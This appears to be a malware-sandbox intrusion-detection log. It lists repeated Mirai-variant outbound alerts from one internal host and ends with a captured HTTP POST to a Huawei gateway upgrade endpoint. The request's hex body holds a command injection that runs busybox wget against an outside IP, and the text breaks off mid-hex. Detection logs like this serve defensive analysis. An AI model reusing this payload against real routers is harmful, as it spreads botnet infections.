ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.213.197.12

Timestamp:	03/04/24-15:07:23.737045
SID:	2839471
Source Port:	35626
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.217.203.49

Timestamp:	03/04/24-15:08:20.862461
SID:	2839471
Source Port:	47668
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.194.67.101

Timestamp:	03/04/24-15:08:26.926227
SID:	2839471
Source Port:	43262
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.165.170.58

Timestamp:	03/04/24-15:06:25.554191
SID:	2839471
Source Port:	48606
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.150.233.132

Timestamp:	03/04/24-15:07:59.789607
SID:	2839471
Source Port:	55052
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.221.168.146

Timestamp:	03/04/24-15:05:42.687869
SID:	2839471
Source Port:	32934
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.86.76.65

Timestamp:	03/04/24-15:07:43.934792
SID:	2839471
Source Port:	36266
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.56.158.21

Timestamp:	03/04/24-15:07:27.831350
SID:	2839471
Source Port:	57354
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.101.46.44

Timestamp:	03/04/24-15:07:32.576613
SID:	2839471
Source Port:	39202
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.0.204.33

Timestamp:	03/04/24-15:06:20.703429
SID:	2839471
Source Port:	49550
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.101.195.214

Timestamp:	03/04/24-15:07:43.637002
SID:	2839471
Source Port:	40706
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.197.245.248

Timestamp:	03/04/24-15:05:59.952044
SID:	2839471
Source Port:	50638
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.31.199.41

Timestamp:	03/04/24-15:06:28.833486
SID:	2839471
Source Port:	54420
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.221.73.20

Timestamp:	03/04/24-15:08:54.567287
SID:	2839471
Source Port:	55864
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.179.29.188

Timestamp:	03/04/24-15:05:47.599043
SID:	2839471
Source Port:	40272
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.58.241.23

Timestamp:	03/04/24-15:08:18.978441
SID:	2839471
Source Port:	58462
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.65.100.21

Timestamp:	03/04/24-15:05:51.869730
SID:	2839471
Source Port:	38112
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.175.10.199

Timestamp:	03/04/24-15:08:27.645160
SID:	2839471
Source Port:	48590
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.192.57.151

Timestamp:	03/04/24-15:08:23.084444
SID:	2839471
Source Port:	46618
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.208.245.78

Timestamp:	03/04/24-15:07:51.928747
SID:	2839471
Source Port:	38000
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.214.237.101

Timestamp:	03/04/24-15:08:30.954591
SID:	2839471
Source Port:	46972
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.218.22.246

Timestamp:	03/04/24-15:08:04.087107
SID:	2839471
Source Port:	47678
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.184.42

Timestamp:	03/04/24-15:05:51.818627
SID:	2839471
Source Port:	47042
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.28.220.91

Timestamp:	03/04/24-15:08:06.424473
SID:	2839471
Source Port:	49534
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.213.216.183

Timestamp:	03/04/24-15:08:41.028942
SID:	2839471
Source Port:	49052
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.151.236.162

Timestamp:	03/04/24-15:08:38.956045
SID:	2839471
Source Port:	54626
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.129.150.220

Timestamp:	03/04/24-15:08:54.581925
SID:	2839471
Source Port:	59354
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.101.70.122

Timestamp:	03/04/24-15:07:18.549561
SID:	2839471
Source Port:	56424
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.142.37.36

Timestamp:	03/04/24-15:07:22.238250
SID:	2839471
Source Port:	36524
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.179.233.226

Timestamp:	03/04/24-15:06:56.470734
SID:	2839471
Source Port:	39652
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.101.236.59

Timestamp:	03/04/24-15:07:57.679734
SID:	2839471
Source Port:	53388
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.183.196.133

Timestamp:	03/04/24-15:07:01.770568
SID:	2839471
Source Port:	56778
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.101.172.173

Timestamp:	03/04/24-15:06:33.951842
SID:	2839471
Source Port:	40696
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.221.151.119

Timestamp:	03/04/24-15:07:57.494297
SID:	2839471
Source Port:	37816
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.0.67.219

Timestamp:	03/04/24-15:08:20.973438
SID:	2839471
Source Port:	40192
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.213.20.163

Timestamp:	03/04/24-15:07:40.693974
SID:	2839471
Source Port:	39494
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.124.102.236

Timestamp:	03/04/24-15:05:51.681638
SID:	2839471
Source Port:	43594
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.16.228

Timestamp:	03/04/24-15:06:20.994593
SID:	2839471
Source Port:	53664
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.117.33.31

Timestamp:	03/04/24-15:08:03.405855
SID:	2839471
Source Port:	41064
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.58.236.209

Timestamp:	03/04/24-15:05:56.620630
SID:	2839471
Source Port:	35632
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.100.238.26

Timestamp:	03/04/24-15:07:48.432106
SID:	2839471
Source Port:	39616
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.127.103.21

Timestamp:	03/04/24-15:06:42.591093
SID:	2839471
Source Port:	33794
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.81.229

Timestamp:	03/04/24-15:06:58.659834
SID:	2839471
Source Port:	47174
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.196.128.90

Timestamp:	03/04/24-15:06:53.002875
SID:	2839471
Source Port:	33872
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.101.186.204

Timestamp:	03/04/24-15:07:38.614791
SID:	2839471
Source Port:	36574
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.101.176.99

Timestamp:	03/04/24-15:07:40.254928
SID:	2839471
Source Port:	47604
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.101.23.104

Timestamp:	03/04/24-15:07:33.835088
SID:	2839471
Source Port:	49826
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.65.84.205

Timestamp:	03/04/24-15:08:03.801487
SID:	2839471
Source Port:	41328
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.165.205.254

Timestamp:	03/04/24-15:07:35.849398
SID:	2839471
Source Port:	55832
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.80.147.28

Timestamp:	03/04/24-15:07:59.817051
SID:	2839471
Source Port:	41446
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.195.131.194

Timestamp:	03/04/24-15:08:22.563056
SID:	2839471
Source Port:	33386
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.213.232.132

Timestamp:	03/04/24-15:07:43.670516
SID:	2839471
Source Port:	50504
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.99.112.236

Timestamp:	03/04/24-15:08:30.568303
SID:	2839471
Source Port:	37392
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.74.167.147

Timestamp:	03/04/24-15:06:19.763831
SID:	2839471
Source Port:	45838
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.170.229.154

Timestamp:	03/04/24-15:06:27.975937
SID:	2839471
Source Port:	47958
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.173.180.187

Timestamp:	03/04/24-15:07:05.362190
SID:	2839471
Source Port:	38598
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.179.222.105

Timestamp:	03/04/24-15:08:44.917140
SID:	2839471
Source Port:	53046
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.170.96.13

Timestamp:	03/04/24-15:06:20.014958
SID:	2839471
Source Port:	44368
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.165.32.226

Timestamp:	03/04/24-15:06:03.943604
SID:	2839471
Source Port:	35494
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.245.42

Timestamp:	03/04/24-15:07:48.500030
SID:	2839471
Source Port:	36406
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.28.220.91

Timestamp:	03/04/24-15:08:06.328242
SID:	2839471
Source Port:	49532
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.99.123.180

Timestamp:	03/04/24-15:07:18.534164
SID:	2839471
Source Port:	57746
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.28.240.200

Timestamp:	03/04/24-15:08:12.152735
SID:	2839471
Source Port:	51394
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.139.170

Timestamp:	03/04/24-15:07:38.819795
SID:	2839471
Source Port:	56072
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.59.150.141

Timestamp:	03/04/24-15:08:41.095863
SID:	2839471
Source Port:	39602
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.214.104.166

Timestamp:	03/04/24-15:06:03.918522
SID:	2839471
Source Port:	45996
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.148.94

Timestamp:	03/04/24-15:07:38.794954
SID:	2839471
Source Port:	51090
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.116.38.50

Timestamp:	03/04/24-15:08:59.049465
SID:	2839471
Source Port:	53748
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.181.231.196

Timestamp:	03/04/24-15:06:28.182135
SID:	2839471
Source Port:	43340
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.196.76.218

Timestamp:	03/04/24-15:08:58.503540
SID:	2839471
Source Port:	59382
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.101.176.99

Timestamp:	03/04/24-15:07:38.614965
SID:	2839471
Source Port:	47540
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.142.103.90

Timestamp:	03/04/24-15:07:40.660599
SID:	2839471
Source Port:	55600
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.78.195.45

Timestamp:	03/04/24-15:06:46.049875
SID:	2839471
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.140.228.156

Timestamp:	03/04/24-15:07:21.995674
SID:	2839471
Source Port:	57122
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.183.39.31

Timestamp:	03/04/24-15:06:33.728601
SID:	2839471
Source Port:	51724
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.48.141.248

Timestamp:	03/04/24-15:07:19.380102
SID:	2839471
Source Port:	50570
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.4.124

Timestamp:	03/04/24-15:08:19.181051
SID:	2839471
Source Port:	44976
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.175.191.106

Timestamp:	03/04/24-15:08:41.409797
SID:	2839471
Source Port:	39102
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.55.18

Timestamp:	03/04/24-15:06:32.997340
SID:	2839471
Source Port:	42466
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.159.68.99

Timestamp:	03/04/24-15:07:32.643888
SID:	2839471
Source Port:	42090
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.31.11.24

Timestamp:	03/04/24-15:05:53.162185
SID:	2839471
Source Port:	55754
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.85.147.19

Timestamp:	03/04/24-15:06:28.823992
SID:	2839471
Source Port:	56150
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.99.102.156

Timestamp:	03/04/24-15:07:57.524483
SID:	2839471
Source Port:	40950
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.221.5.217

Timestamp:	03/04/24-15:08:26.796271
SID:	2839471
Source Port:	47224
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.110.169.218

Timestamp:	03/04/24-15:08:14.513405
SID:	2839471
Source Port:	48788
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.48.141.248

Timestamp:	03/04/24-15:07:19.098779
SID:	2839471
Source Port:	50564
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.80.148.182

Timestamp:	03/04/24-15:08:27.798959
SID:	2839471
Source Port:	34714
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.101.95.118

Timestamp:	03/04/24-15:06:37.666369
SID:	2839471
Source Port:	54236
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.202.99.186

Timestamp:	03/04/24-15:07:38.849542
SID:	2839471
Source Port:	40268
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.197.130.240

Timestamp:	03/04/24-15:06:20.083622
SID:	2839471
Source Port:	34906
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.86.79.200

Timestamp:	03/04/24-15:06:22.946148
SID:	2839471
Source Port:	34384
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.119.162.191

Timestamp:	03/04/24-15:07:13.196546
SID:	2839471
Source Port:	49312
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.216.171.239

Timestamp:	03/04/24-15:07:38.805243
SID:	2839471
Source Port:	40006
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.228.253.74

Timestamp:	03/04/24-15:06:03.915369
SID:	2839471
Source Port:	42544
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.252.214

Timestamp:	03/04/24-15:06:02.198568
SID:	2839471
Source Port:	45686
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.86.64.240

Timestamp:	03/04/24-15:07:19.749576
SID:	2839471
Source Port:	40184
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.198.131.87

Timestamp:	03/04/24-15:06:19.736561
SID:	2839471
Source Port:	35536
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.171.246.138

Timestamp:	03/04/24-15:07:47.534352
SID:	2839471
Source Port:	51678
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.132.250.141

Timestamp:	03/04/24-15:06:10.550866
SID:	2839471
Source Port:	57182
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.181.228.218

Timestamp:	03/04/24-15:06:58.716790
SID:	2839471
Source Port:	48954
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.78.184

Timestamp:	03/04/24-15:08:54.754494
SID:	2839471
Source Port:	55900
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.56.221.110

Timestamp:	03/04/24-15:05:51.913746
SID:	2839471
Source Port:	51658
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.217.120.12

Timestamp:	03/04/24-15:07:27.761380
SID:	2839471
Source Port:	51996
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.98.110.223

Timestamp:	03/04/24-15:07:35.451977
SID:	2839471
Source Port:	40346
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.215.83.208

Timestamp:	03/04/24-15:07:33.304037
SID:	2839471
Source Port:	52162
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.196.56.169

Timestamp:	03/04/24-15:08:04.195724
SID:	2839471
Source Port:	33070
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.214.43.244

Timestamp:	03/04/24-15:08:59.887294
SID:	2839471
Source Port:	47496
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.116.238.10

Timestamp:	03/04/24-15:08:35.559662
SID:	2839471
Source Port:	48738
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 31 34 32 2e 31 30 37 2e 